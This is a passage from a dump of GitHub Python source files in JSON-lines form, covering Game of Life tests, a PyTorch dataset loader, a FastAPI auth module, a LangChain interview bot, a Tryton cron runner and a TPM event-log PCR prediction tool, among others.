is_(False),\n )\n\n def test_it_resurrects_with_three_living_neighbours(self):\n assert_that(\n self._cell.next_generation(\n [living_cell(), living_cell(), living_cell()]\n ).is_alive(),\n is_(True),\n )\n\n def test_it_remains_dead_on_one_dead_on_two_living_neighbours(self):\n assert_that(\n dead_cell()\n .next_generation([dead_cell(), living_cell(), living_cell()])\n .is_alive(),\n is_(False),\n )\n\n\nclass TestNeighboursInGame:\n def test_it_has_eight_neighbours_for_non_edge_cells(self):\n game = Game([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\n assert_that(game.neighbours_for(1, 1), is_(equal_to([1, 2, 3, 4, 6, 7, 8, 9])))\n\n def test_it_has_five_neighbours_for_left_edge_cells(self):\n game = Game([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\n assert_that(game.neighbours_for(1, 0), is_(equal_to([1, 2, 5, 7, 8])))\n\n def test_it_has_five_neighbours_for_right_edge_cells(self):\n game = Game([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\n assert_that(game.neighbours_for(1, 2), is_(equal_to([2, 3, 5, 8, 9])))\n\n def test_it_has_five_neighbours_for_top_edge_cells(self):\n game = Game([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\n assert_that(game.neighbours_for(0, 1), is_(equal_to([1, 3, 4, 5, 6])))\n\n def test_it_has_five_neighbours_for_bottom_edge_cells(self):\n game = Game([[1, 2, 3], [4, 5, 6], [7, 8, 9]])\n assert_that(game.neighbours_for(2, 1), is_(equal_to([4, 5, 6, 7, 9])))\n\n def test_it_creates_a_new_game_with_a_next_generation_for_all_fields_in_a_row(self):\n game = Game([[living_cell(), living_cell(), living_cell()]])\n game = game.next_generation()\n assert_that(game.cell_at(0, 0), is_(equal_to(dead_cell())))\n assert_that(game.cell_at(0, 1), is_(equal_to(living_cell())))\n assert_that(game.cell_at(0, 2), is_(equal_to(dead_cell())))\n","repo_name":"waltervos/game_of_life","sub_path":"gol/test/test_gol.py","file_name":"test_gol.py","file_ext":"py","file_size_in_byte":3908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"26349358888","text":"import json\nimport os\n\nimport cv2 as cv\nimport matplotlib.patches as patches\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom matplotlib.patches import Polygon\nfrom torch.utils.data import DataLoader, Dataset\nfrom torchvision import transforms, utils\nfrom torchvision.io import read_image\n\n#import matplotlib\n\n\nclass MyDataset(Dataset):\n\n def __init__(self, annotation_file, img_dir,transform = None, target_transform=None):\n self.img_dir = img_dir\n self.annotation_file = annotation_file\n label, corners = self.create_data()\n self.img_label = label\n self.corner_keypoints = corners\n self.transform = transform\n\n def create_data(self):\n label = []\n corners = []\n with open (os.path.join(self.img_dir, self.annotation_file)) as f:\n keypoints_data = json.load(f)\n keypoints_data = keypoints_data['dataset']\n for i in range(0,len(keypoints_data)):\n dataT = keypoints_data[i]\n label.append(dataT['image_path'])\n corners.append(dataT['corner_keypoints'])\n label = list(map(lambda i : (i.split('/')[1]) ,label))\n return label, corners\n\n\n def __len__(self):\n return len(self.img_label)\n\n def __getitem__(self, idx):\n img_path = os.path.join(self.img_dir,'images', self.img_label[idx] )\n #image = read_image(img_path)\n img = cv.imread(img_path)\n label = self.img_label[idx]\n corners = self.corner_keypoints[idx]\n target = {}\n target[\"keypoints\"] = torch.as_tensor(corners, dtype=torch.float32)\n target[\"labels\"] =label\n target[\"image\"] = img\n #sample = {'img' : img, 'corners' : corners}\n # if self.transform:\n # img,target = self.transform(target)\n\n return img, target\n\n\n\n\n\n\n\n\ndef Display(train_dataloader) :\n\n train_img, train_target = next(iter(train_dataloader))\n\n\n fig, ax = plt.subplots(3,3,figsize=(9,9))\n fig.subplots_adjust(hspace=0.5, wspace=0.2)\n\n\n ax = ax.ravel()\n\n\n for i in range(0,len(train_img)):\n\n img = train_img[i].squeeze()\n ax[i].imshow(img)\n corners = np.array(train_target['keypoints'][i])\n corners = np.multiply(corners,256)\n for j in range(0,len(corners)):\n corners[j][1] = 256-corners[j][1]\n P = patches.Polygon(corners, linewidth=1, edgecolor='r', facecolor='none')\n ax[i].add_patch(P)\n ax[i].set_title(train_target['labels'][i], fontsize=8)\n ax[i].set_yticklabels([])\n ax[i].set_xticklabels([])\n plt.show()\n\n\n\n\n\nif __name__==\"__main__\":\n DIR = r'C:\\\\Users\\Administrator\\Desktop\\AIOR_Group\\\\Project1\\src\\box_dataset'\n dataobj = MyDataset(img_dir = DIR, annotation_file = 'dataset.json', transform= True)\n\n train_dataloader = DataLoader(dataobj, batch_size=9, shuffle=True)\n train_img, train_target = next(iter(train_dataloader))\n print(type(train_img),train_img.shape)\n print(type(train_target['keypoints']),train_target['keypoints'].shape)\n Display(train_dataloader)\n # print(dataobj[10])\n\n\n#prepare data to feed Model\n\n\n\n\n\n\n","repo_name":"MaryamFnn/Box-Keypoint-Detection","sub_path":"src/practice/datasetclass.py","file_name":"datasetclass.py","file_ext":"py","file_size_in_byte":3166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"26571856930","text":"from ssc.servlets.RestServlet import RestHandler\r\nfrom ssc.http.HTTP import CODE_OK, MIME_TEXT, MIME_JSON, MIME_HTML, CODE_BAD_REQUEST\r\nfrom brewer.LogHandler import LogHandler\r\nfrom brewer.rest.BaseREST import BaseREST\r\n\r\n\r\nclass LogREST(BaseREST):\r\n '''\r\n Rest API used to control the log handler\r\n '''\r\n\r\n def __init__(self, brewer):\r\n BaseREST.__init__(self, brewer, 'log/')\r\n\r\n # Clear all logs\r\n self.addAPI('clear',\r\n lambda request: self._brewer.getModule(LogHandler).clear()\r\n )\r\n\r\n # Test push notification\r\n self.addAPI('test',\r\n lambda request: self._brewer.getModule(LogHandler).pushNotifications.sendNotification('PyBrewer', 'This is a test message.')\r\n )\r\n\r\n # Get all logs\r\n self.addAPI('getLogs',\r\n lambda request: [entry.serialize() for entry in self._brewer.getModule(LogHandler).getLogs()]\r\n )\r\n\r\n self.addAPI('getMessages', self._getMessages)\r\n\r\n def _getMessages(self, request):\r\n '''\r\n Gets all handler messages\r\n\r\n @return List of handler messages\r\n '''\r\n\r\n messages = self._brewer.getMessages()\r\n\r\n serializedMessages = []\r\n\r\n # Convert messages into dictionaries so that they may be serialized to JSON automatically\r\n for message in messages:\r\n dictMessage = message._asdict()\r\n\r\n # Convert type to string\r\n dictMessage['type'] = dictMessage['type'].name\r\n\r\n serializedMessages.append(dictMessage)\r\n\r\n return serializedMessages","repo_name":"spiricn/PyBrewer","sub_path":"backend/brewer/rest/LogREST.py","file_name":"LogREST.py","file_ext":"py","file_size_in_byte":1585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"3107799240","text":"import numpy as np\nimport pandas as pd\n\nimport lsst.afw.coord as afwCoord\nimport lsst.afw.geom as afwGeom\nimport lsst.afw.image as afwImage\nimport lsst.afw.display\n\nfrom functools import partial\n\nfrom .match import match_lists\n\nclass hashable_dict(dict):\n def __key(self):\n return tuple((k,self[k]) for k in sorted(self))\n def __hash__(self):\n return hash(self.__key())\n def __eq__(self, other):\n return self.__key() == other.__key()\n\ndef find_closest(dmap, ra, dec):\n df = dmap.values()[0].data\n _, ind = match_lists(np.array([float(ra)]), np.array([float(dec)]), df.ra, df.dec, 1.)\n obj = df.iloc[ind]\n if isinstance(obj, pd.DataFrame):\n obj = obj.iloc[0]\n\n return obj\n\nclass QADisplay(lsst.afw.display.Display):\n \"\"\"Base class for display object enabling image viewing at given coordinate\n\n The main purpose of this is to be able to connect a `lsst.afw.display.Display` object\n to a `holoviews.Tap` stream that has a source in a holoviews plot window, such \n that a new image can be loaded due to a mouse click on the plot. \n\n Not for direct use; use instead the `CoaddDisplay` or `VisitDisplay` \n subclasses.\n\n Parameters\n ----------\n butler : Butler\n Data repo from which images will be retrieved.\n\n dmap : holoviews.DynamicMap, optional\n If not provided, it will be set to be the source of the `Tap` stream\n passed to `.connect_tap()`. Having this attribute is necessary for\n operations like \"find the exact coordinates of the closest source\n to the place where I clicked.\"\n\n Additional keyword arguments passed to `lsst.afw.display.Display`, \n such as `dims=(500,500)`\n\n \"\"\"\n\n _datasetName = None\n\n def __init__(self, butler, dmap=None, **kwargs):\n self.butler = butler\n\n self.dmap = None\n\n self._expCache = {}\n\n super(QADisplay, self).__init__(**kwargs)\n\n @property\n def datasetName(self):\n \"\"\"Name of the image dataset to be retrieved from the butler\n \"\"\"\n if self._datasetName is None:\n raise NotImplementedError('Must define _datasetName property')\n return self._datasetName\n\n def getExp(self, ra, dec, **kwargs):\n \"\"\"Get the exposure and pixel position corresponding to sky position\n\n Parameters\n -----------\n ra, dec : float\n Coordinates in degrees\n\n Returns\n -------\n exp : afw.Exposure\n xy : afwCoord.PixelCoord\n Pixel coordinates in `exp` corresponding to ra, dec\n\n Additional keyword arguments passed to `_get_dataId`.\n \"\"\"\n dataId = self._get_dataId(ra, dec, **kwargs)\n exp = self._expFromId(dataId)\n\n if self.dmap is not None:\n obj = find_closest(self.dmap, ra, dec)\n ra, dec = obj.ra, obj.dec\n\n pos = afwCoord.IcrsCoord(ra*afwGeom.degrees, dec*afwGeom.degrees)\n wcs = self._WcsFromId(dataId)\n xy = wcs.skyToPixel(pos)\n print(ra, dec, xy)\n\n return exp, xy\n\n def _WcsFromId(self, dataId):\n \"\"\"Get requested WCS\n \"\"\"\n exp = self._expFromId(dataId) # This is by default redundant\n return exp.getWcs()\n\n def _get_dataId(self, *args, **kwargs):\n \"\"\"Returns dataId and xy coords\n \"\"\"\n raise NotImplementedError\n\n def _expFromId(self, dataId):\n \"\"\"Get requested image data\n \"\"\"\n dataId = hashable_dict(dataId)\n if dataId in self._expCache:\n exp = self._expCache[dataId]\n else:\n exp = self.butler.get(self.datasetName, dataId)\n self._expCache[dataId] = exp\n return exp\n\n def update(self, ra, dec, **kwargs):\n \"\"\"Refresh the display with a new position\n\n Parameters\n ----------\n ra, dec : float\n Coordinates in degrees\n\n Additional keyword arguments passed to `getExp`.\n \"\"\"\n exp, (x, y) = self.getExp(ra, dec, **kwargs)\n\n self.mtv(exp)\n self.dot('+', x, y, size=50)\n self.pan(x, y)\n self.zoom(1)\n return self\n\n def connect_tap(self, tap, **kwargs):\n \"\"\"Connect a tap stream to display\n\n Parameters\n ----------\n tap : holoviews.Tap\n Tap stream whose source is the sky map, where\n \"\"\"\n tap.add_subscriber(partial(self.update, **kwargs))\n self.tap_stream = tap\n self.dmap = tap.source\n\nclass CoaddDisplay(QADisplay):\n \"\"\"Display object enabling coadd image viewing at desired location\n\n Parameters\n ----------\n butler : Butler\n Data repository from which images will be loaded.\n\n filt : str\n Filter of images to load.\n \"\"\"\n _datasetName = 'deepCoadd_calexp'\n\n def __init__(self, butler, filt, **kwargs):\n self.filt = filt\n super(CoaddDisplay, self).__init__(butler, **kwargs)\n\n def _get_dataId(self, ra, dec, **kwargs):\n skyMap = self.butler.get('deepCoadd_skyMap')\n pos = afwCoord.IcrsCoord(ra*afwGeom.degrees, dec*afwGeom.degrees)\n tractInfo, patchInfo = skyMap.findClosestTractPatchList([pos])[0]\n \n tractId = tractInfo.getId()\n # If two patches returned, then choose one where point is inside inner bbox\n for p in patchInfo:\n wcs = tractInfo.getWcs()\n xy = wcs.skyToPixel(pos)\n if p.getInnerBBox().contains(afwGeom.Point2I(xy)):\n patchIndex = p.getIndex()\n break\n \n dataId = {'tract':tractId, 'patch':'{},{}'.format(*patchIndex), 'filter':self.filt}\n return dataId\n\n\nclass VisitDisplay(QADisplay):\n \"\"\"Display object enabling single-visit image viewing at desired location\n\n Parameters\n ----------\n butler : Butler\n Data repository from which images will be loaded.\n\n filt : str\n Filter of images to load.\n\n tract : int\n Tract from which images will load\n \"\"\"\n\n _datasetName = 'calexp'\n\n def __init__(self, butler, filt, tract, **kwargs):\n self.filt = filt\n self.tract = tract\n super(VisitDisplay, self).__init__(butler, **kwargs)\n\n def _get_dataId(self, ra, dec):\n if self.dmap is None:\n raise ValueError('Must connect a visit dmap!')\n\n visit = int(self.dmap.keys()[0][0]) #Is there a way to do this via key rather than index?\n obj = find_closest(self.dmap, ra, dec)\n ccd = int(obj.ccdId)\n\n dataId = {'visit' : visit, 'filter' : self.filt, 'ccd' : ccd, 'tract' : self.tract}\n return dataId\n\n def _WcsFromId(self, dataId):\n wcsHeader = self.butler.get(\"wcs_md\", dataId, immediate=True)\n try:\n wcs = afwImage.makeWcs(wcsHeader)\n except AttributeError:\n wcs = afwGeom.makeSkyWcs(wcsHeader)\n return wcs\n\n","repo_name":"timothydmorton/qa_explorer","sub_path":"explorer/display.py","file_name":"display.py","file_ext":"py","file_size_in_byte":6842,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"76"} +{"seq_id":"12176787368","text":"from typing import Optional\nfrom fastapi import Depends, HTTPException, status\nfrom fastapi.security import OAuth2PasswordBearer\nfrom app.core.config import API_PREFIX\nfrom app.models.users import UserInDB, UserPublic, ProfilePublic\nfrom app.db.repositories.users import UsersRepository\n# from pydantic import EmailStr\n\noauth2_scheme = OAuth2PasswordBearer(tokenUrl=f\"http://localhost:8000/api/users/login/token/\")\n\ndef get_user_from_token(\n *,\n token: str = Depends(oauth2_scheme),\n) -> Optional[UserInDB]:\n try:\n user_repo = UsersRepository()\n user = user_repo.get_current_user(token=token)\n except Exception as e:\n raise e\n return user\n\n\ndef get_current_active_user(current_user: UserInDB = Depends(get_user_from_token)) -> Optional[UserPublic]:\n if not current_user:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=\"No authenticated user.\",\n headers={\"WWW-Authenticate\": \"Bearer\"},\n )\n \n if not current_user.is_active:\n raise HTTPException(\n status_code=status.HTTP_401_UNAUTHORIZED,\n detail=\"Not an active user.\",\n headers={\"WWW-Authenticate\": \"Bearer\"},\n )\n return current_user\n\ndef get_other_user_by_user_id(*,\n token: str = Depends(oauth2_scheme),\n user_id: int\n ):\n try:\n user_repo = UsersRepository()\n other_user = user_repo.get_other_user(token = token, user_id= user_id)\n except Exception as e:\n raise e\n return other_user\n","repo_name":"Nikitas15K/herewearevehicles","sub_path":"app/api/dependencies/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":1543,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"73243027444","text":"import streamlit as st\nimport nltk\nfrom nltk.sentiment.vader import SentimentIntensityAnalyzer\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import wordnet\n\n# Download NLTK data\nnltk.download('vader_lexicon')\nnltk.download('punkt')\nnltk.download('wordnet')\n\n# Initialize the sentiment analyzer\nsid = SentimentIntensityAnalyzer()\n\ndef get_synonyms(word):\n synonyms = set()\n\n for syn in wordnet.synsets(word):\n for lemma in syn.lemmas():\n synonyms.add(lemma.name().replace('_', ' '))\n\n return list(synonyms)\n\ndef paraphrase_text(text):\n tokens = word_tokenize(text)\n paraphrased_text = []\n\n for token in tokens:\n synonyms = get_synonyms(token)\n\n if synonyms:\n paraphrased_text.append(synonyms[0])\n else:\n paraphrased_text.append(token)\n return ' '.join(paraphrased_text)\n\n# Add title and description\nst.title(\"AI Sentiment Analysis App\")\nst.write(\"Gary Au, Sharon Hung\")\nst.write(\"Set M, Group 4\")\n\n# Create a textbox input for the user to enter text\nuser_input = st.text_input(\"Enter your text to analysis here:\")\n\n# Perform sentiment analysis when user submits input\nif st.button(\"Analyze Sentiment\"):\n if user_input:\n # Analyze sentiment\n sentiment_scores = sid.polarity_scores(user_input)\n\n # Get the sentiment score and label\n sentiment_score = sentiment_scores[\"compound\"]\n sentiment_label = \"Positive\" if sentiment_score > 0 else \"Negative\"\n\n # Output text\n output_text = paraphrase_text(user_input)\n\n # Display sentiment analysis results\n st.write(f\"Sentiment: {sentiment_label} Score: {abs(sentiment_score):.2f}\")\n\n # Display the most similar sentence\n st.write(f\"Alternate statement: {output_text}\")\n else:\n st.warning(\"Please enter some text for analysis.\")\n","repo_name":"tcgaryau/ai-sentiment","sub_path":"myapp.py","file_name":"myapp.py","file_ext":"py","file_size_in_byte":1850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"5058759400","text":"from dotenv import load_dotenv\nload_dotenv()\n\nfrom langchain.memory import ConversationBufferWindowMemory, ConversationSummaryMemory, CombinedMemory\nfrom langchain import OpenAI, LLMChain\nfrom langchain.chains import ConversationChain\n\nfrom interviewer_bot.templates.interviewer import interviewer_prompt\nfrom interviewer_bot.templates.supervisors.job_skills import job_skills_prompt\nfrom interviewer_bot.templates.supervisors.dig_deeper import dig_deeper_prompt\nfrom interviewer_bot.templates.supervisors.rephrase import rephrase_prompt\n\ndig_deeper_memory = ConversationBufferWindowMemory(k=4)\nrephrase_memory = ConversationBufferWindowMemory(k=2)\njob_skills_memory = ConversationSummaryMemory(llm = OpenAI(model_name='gpt-3.5-turbo'))\n\nmemories = [dig_deeper_memory, rephrase_memory, job_skills_memory]\n\nfor memory in memories:\n memory.human_prefix = 'interviewer'\n memory.ai_prefix = 'candidate'\n\n\ninterviewer_memory = ConversationBufferWindowMemory(k=4)\n\njob_skills_memory\n\ninterviewer_model = 'gpt-4'\nsupervisor_model = 'gpt-3.5-turbo'\n\n\n\nclass Interviewer():\n def __init__(self, role, verbose = False):\n \n self.role = role\n self.verbose = verbose\n self.setup_interviewer()\n\n def setup_interviewer(self):\n\n interviewer = LLMChain(llm = OpenAI(model_name=interviewer_model),\n prompt = interviewer_prompt,\n memory = interviewer_memory,\n verbose = self.verbose)\n\n job_skill_supervisor = LLMChain(llm = OpenAI(model_name=supervisor_model),\n prompt = job_skills_prompt,\n verbose=self.verbose)\n \n rephrase_supervisor = LLMChain(llm = OpenAI(model_name=supervisor_model),\n prompt = rephrase_prompt,\n verbose=self.verbose)\n \n dig_deeper_supervisor = LLMChain(llm = OpenAI(model_name=supervisor_model),\n prompt = dig_deeper_prompt,\n verbose=self.verbose)\n \n self.interviewer = interviewer\n self.job_skill_supervisor = job_skill_supervisor\n self.rephrase_supervisor = rephrase_supervisor\n self.dig_deeper_supervisor = dig_deeper_supervisor\n\n self.last_response = 'hi!'\n\n self.supervisor_recommendations = {\n 'job_skills' : '',\n 'rephrase' : '',\n 'dig_deeper' : '',\n }\n\n def process_message(self, message):\n\n memories = [job_skills_memory, rephrase_memory, dig_deeper_memory]\n\n for memory in memories:\n memory.save_context({\"input\":self.last_response}, {\"output\":message})\n\n\n\n self.supervisor_recommendations['job_skills'] = self.job_skill_supervisor.predict(role = self.role, memory = job_skills_memory.buffer)\n self.supervisor_recommendations['rephrase'] = self.rephrase_supervisor.predict(role = self.role, memory = hack_memory(rephrase_memory))\n self.supervisor_recommendations['dig_deeper'] = self.dig_deeper_supervisor.predict(role = self.role, memory = hack_memory(dig_deeper_memory))\n\n rephrase_memory.save_context\n response = self.interviewer.predict(\n human_message = message,\n role = self.role,\n job_skills = self.supervisor_recommendations['job_skills'],\n rephrase = self.supervisor_recommendations['rephrase'],\n dig_deeper = self.supervisor_recommendations['dig_deeper'],\n )\n\n self.last_response = response\n\n return response\n \ndef hack_memory(memory):\n\n return memory.load_memory_variables({})['history']","repo_name":"ksm2264/interviewer-bot","sub_path":"interviewer_bot/interviewer.py","file_name":"interviewer.py","file_ext":"py","file_size_in_byte":3754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"10190908180","text":"from bge import logic, types\nfrom uplogic.nodes import ULParameterNode\nfrom uplogic.nodes import ULOutSocket\nfrom uplogic.utils import is_invalid\n\n\nclass ULGamepadSticks(ULParameterNode):\n def __init__(self, axis=0):\n ULParameterNode.__init__(self)\n self.axis = axis\n self.inverted = None\n self.index = None\n self.sensitivity = None\n self.threshold = None\n self._x_axis_values = None\n self._y_axis_values = None\n self._sensitivity = 0.0\n self.raw_values = [0, 0]\n self.X = ULOutSocket(self, self.get_x_axis)\n self.Y = ULOutSocket(self, self.get_y_axis)\n\n def get_x_axis(self):\n x = self.raw_values[0]\n if -self.threshold < x < self.threshold:\n x = 0\n return x * self._sensitivity\n\n def get_y_axis(self):\n y = self.raw_values[1]\n if -self.threshold < y < self.threshold:\n y = 0\n return y * self._sensitivity\n\n def evaluate(self):\n self._set_ready()\n index = self.get_input(self.index)\n\n if logic.joysticks[index]:\n joystick: types.SCA_PythonJoystick = logic.joysticks[index]\n else:\n self._x_axis_values = 0\n self._y_axis_values = 0\n return\n if is_invalid(joystick):\n return\n axis = self.get_input(self.axis)\n raw_values = joystick.axisValues\n if axis == 0:\n self.raw_values = [raw_values[0], raw_values[1]]\n elif axis == 1:\n self.raw_values = [raw_values[2], raw_values[3]]\n inverted = self.get_input(self.inverted)\n sensitivity = self.get_input(self.sensitivity)\n self._sensitivity = -sensitivity if inverted else sensitivity\n self.threshold = self.get_input(self.threshold)\n","repo_name":"AlexandreMuller/UPBGE-uplogic","sub_path":"uplogic/nodes/parameters/gamepadsticks.py","file_name":"gamepadsticks.py","file_ext":"py","file_size_in_byte":1803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"76"} +{"seq_id":"9795674688","text":"import logging\nimport sys\nimport threading\nimport time\nfrom pathlib import Path\n\nfrom trytond.pool import Pool\nfrom trytond.transaction import Transaction\n\n__all__ = ['run']\nlogger = logging.getLogger(__name__)\n\n\ndef run(options):\n threads = []\n\n for name in options.database_names:\n if options.check:\n path = Path(f'/tmp/cron_canary_{name}')\n if path.exists():\n logger.info(f'canary file exists for {name}')\n path.unlink()\n return\n logger.error(f'No cron canary file for {name}')\n sys.exit(1)\n thread = threading.Thread(target=Pool(name).init)\n thread.start()\n threads.append(thread)\n for thread in threads:\n thread.join()\n\n threads = {}\n while True:\n for db_name in options.database_names:\n thread = threads.get(db_name)\n if thread and thread.is_alive():\n logger.info(\n 'skip \"%s\" as previous cron still running', db_name)\n continue\n database_list = Pool.database_list()\n pool = Pool(db_name)\n if db_name not in database_list:\n with Transaction().start(db_name, 0, readonly=True):\n pool.init()\n Cron = pool.get('ir.cron')\n thread = threading.Thread(\n target=Cron.run,\n args=(db_name,), kwargs={})\n logger.info('start thread for \"%s\"', db_name)\n thread.start()\n threads[db_name] = thread\n Path(f'/tmp/cron_canary_{db_name}').touch()\n if options.once:\n break\n time.sleep(60)\n for thread in threads.values():\n thread.join()\n","repo_name":"coopengo/trytond","sub_path":"trytond/cron.py","file_name":"cron.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"76"} +{"seq_id":"34739818589","text":"#!/usr/bin/env python3\nimport argparse\nimport sys\n\nfrom .event_log import *\nfrom .pcr_bank import *\nfrom .systemd_boot import (\n loader_encode_pcr8,\n loader_decode_pcr8,\n loader_get_next_cmdline,\n)\nfrom .tpm_constants import TpmEventType\nfrom .util import *\n\nhash_algs_to_tpm = {\n \"sha1\": TpmAlgorithm.SHA1,\n \"sha256\": TpmAlgorithm.SHA256,\n}\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-L\", \"--pcr-list\",\n help=\"limit output to specified PCR indexes\")\n parser.add_argument(\"-H\", \"--hash-alg\",\n help=\"specify the hash algorithm (sha1 or sha256)\")\n parser.add_argument(\"-o\", \"--output\",\n help=\"write binary PCR values to specified file\")\n parser.add_argument(\"--allow-unexpected-bsa\", action=\"store_true\",\n help=\"accept BOOT_SERVICES_APPLICATION events with weird paths\")\n parser.add_argument(\"--substitute-bsa-unix-path\", action=KeyValueAction,\n help=\"substitute BOOT_SERVICES_APPLICATION path (syntax: =)\")\n parser.add_argument(\"--compare\", action=\"store_true\",\n help=\"compare computed PCRs against live values\")\n parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\",\n help=\"show verbose information about log parsing\")\n parser.add_argument(\"--log-path\",\n help=\"read binary log from an alternative path\")\n args = parser.parse_args()\n\n hash_alg = None\n if args.pcr_list:\n verbose_all_pcrs = False\n pcr_list = args.pcr_list\n if \"+\" in pcr_list:\n exit(\"error: PCR specifier may only contain one bank.\")\n if \":\" in pcr_list:\n bank_spec = pcr_list.split(\":\")\n hash_alg = bank_spec[0]\n pcr_list = bank_spec[1]\n wanted_pcrs = [int(idx) for idx in pcr_list.split(\",\")]\n else:\n verbose_all_pcrs = True\n wanted_pcrs = [*range(NUM_PCRS)]\n\n if args.hash_alg:\n if not hash_alg:\n hash_alg = args.hash_alg\n elif hash_alg != args.hash_alg:\n exit(\"error: Conflicting PCR hash algorithm specifications given.\")\n\n if not hash_alg:\n print(\"warning: PCR hash algorithm now defaults to sha256, not sha1\",\n file=sys.stderr)\n hash_alg = \"sha256\"\n\n try:\n tpm_hash_alg = hash_algs_to_tpm[hash_alg]\n except KeyError:\n exit(\"error: Unsupported hash algorithm %r\" % hash_alg)\n\n this_pcrs = PcrBank(hash_alg)\n next_pcrs = PcrBank(hash_alg)\n last_efi_binary = None\n errors = 0\n\n for event in enum_log_entries(args.log_path):\n idx = event[\"pcr_idx\"]\n\n _verbose_pcr = (args.verbose and (verbose_all_pcrs or idx in wanted_pcrs))\n if _verbose_pcr:\n show_log_entry(event)\n\n if idx == 0xFFFFFFFF:\n if _verbose_pcr:\n print(\"event updates Windows virtual PCR[-1], skipping\")\n continue\n\n this_extend_value = event[\"pcr_extend_values\"].get(tpm_hash_alg)\n next_extend_value = this_extend_value\n\n if this_extend_value is None:\n if _verbose_pcr:\n print(\"event does not update the specified PCR bank, skipping\")\n continue\n\n if event[\"event_type\"] == TpmEventType.EFI_BOOT_SERVICES_APPLICATION:\n event_data = parse_efi_bsa_event(event[\"event_data\"])\n try:\n unix_path = device_path_to_unix_path(event_data[\"device_path_vec\"])\n if args.substitute_bsa_unix_path:\n unix_path = args.substitute_bsa_unix_path.get(unix_path, unix_path)\n except Exception as e:\n print(e)\n errors = 1\n unix_path = None\n\n if unix_path:\n file_hash = hash_pecoff(unix_path, hash_alg)\n next_extend_value = file_hash\n last_efi_binary = unix_path\n if _verbose_pcr:\n print(\"-- extending with coff hash --\")\n print(\"file path =\", unix_path)\n print(\"file hash =\", to_hex(file_hash))\n print(\"this event extend value =\", to_hex(this_extend_value))\n print(\"guessed extend value =\", to_hex(next_extend_value))\n else:\n # This might be a firmware item such as the boot menu.\n if not args.allow_unexpected_bsa:\n exit(\"error: Unexpected boot events found. Binding to these PCR values \"\n \"is not advised, as it might be difficult to reproduce this state \"\n \"later. Exiting.\")\n print(\"warning: couldn't map EfiBootServicesApplication event to a Linux path\",\n file=sys.stderr)\n\n # Handle systemd EFI stub \"kernel command line\" measurements (found in\n # PCR 8 up to systemd v250, but PCR 12 afterwards).\n if event[\"event_type\"] == TpmEventType.IPL and (idx in wanted_pcrs):\n try:\n cmdline = loader_get_next_cmdline(last_efi_binary)\n if args.verbose:\n old_cmdline = event[\"event_data\"]\n # 2022-03-19 grawity: In the past, we had to strip away the last \\0 byte for\n # some reason (which I don't remember)... but apparently now we don't? Let's\n # add a warning so that hopefully I remember why it was necessary.\n if len(old_cmdline) % 2 != 0:\n print(\"warning: Expecting EV_IPL data to contain UTF-16, but length isn't a multiple of 2\",\n file=sys.stderr)\n old_cmdline += b'\\0'\n old_cmdline = loader_decode_pcr8(old_cmdline)\n print(\"-- extending with systemd-boot cmdline --\")\n print(\"this cmdline:\", repr(old_cmdline))\n print(\"next cmdline:\", repr(cmdline))\n cmdline = loader_encode_pcr8(cmdline)\n next_extend_value = hash_bytes(cmdline, hash_alg)\n except FileNotFoundError:\n # Either some of the EFI variables, or the ESP, or the .conf, are missing.\n # It's probably not a systemd-boot environment, so PCR[8] meaning is undefined.\n if args.verbose:\n print(\"-- not touching non-systemd IPL event --\")\n\n if event[\"event_type\"] != TpmEventType.NO_ACTION:\n this_pcrs.extend_with_hash(idx, this_extend_value)\n next_pcrs.extend_with_hash(idx, next_extend_value)\n\n if _verbose_pcr:\n print(\"--> after this event, PCR %d contains value %s\" % (idx, to_hex(this_pcrs[idx])))\n print(\"--> after reboot, PCR %d will contain value %s\" % (idx, to_hex(next_pcrs[idx])))\n print()\n\n if errors:\n print(\"fatal errors occured\", file=sys.stderr)\n exit(1)\n\n if args.compare:\n print(\"== Real vs computed PCR values ==\")\n real_pcrs = read_current_pcrs(hash_alg)\n errors = 0\n print(\" \"*7, \"%-*s\" % (this_pcrs.pcr_size*2, \"REAL\"), \"|\", \"%-*s\" % (next_pcrs.pcr_size*2, \"COMPUTED\"))\n for idx in wanted_pcrs:\n if real_pcrs[idx] == this_pcrs[idx]:\n status = \"+\"\n else:\n errors += 1\n status = \"\"\n print(\"PCR %2d:\" % idx, to_hex(real_pcrs[idx]), \"|\", to_hex(this_pcrs[idx]), status)\n exit(errors > 0)\n\n for idx in wanted_pcrs:\n if idx <= 7 and this_pcrs.count[idx] == 0:\n # The first 8 PCRs always have an EV_SEPARATOR logged to them at the very least,\n # and the first 3 or so will almost always have other boot events. If we never saw\n # anything then the whole bank might be unused (and an all-zeros PCR value is\n # obviously unsafe to bind against).\n exit(\"error: Log contains no entries for PCR %d in the %r bank.\" % (idx, hash_alg))\n\n if args.verbose or (not args.output):\n print(\"== Final computed & predicted PCR values ==\")\n print(\" \"*7, \"%-*s\" % (this_pcrs.pcr_size*2, \"CURRENT\"), \"|\", \"%-*s\" % (next_pcrs.pcr_size*2, \"PREDICTED NEXT\"))\n for idx in wanted_pcrs:\n print(\"PCR %2d:\" % idx, to_hex(this_pcrs[idx]), \"|\", to_hex(next_pcrs[idx]))\n\n if args.output:\n with open(args.output, \"wb\") as fh:\n for idx in 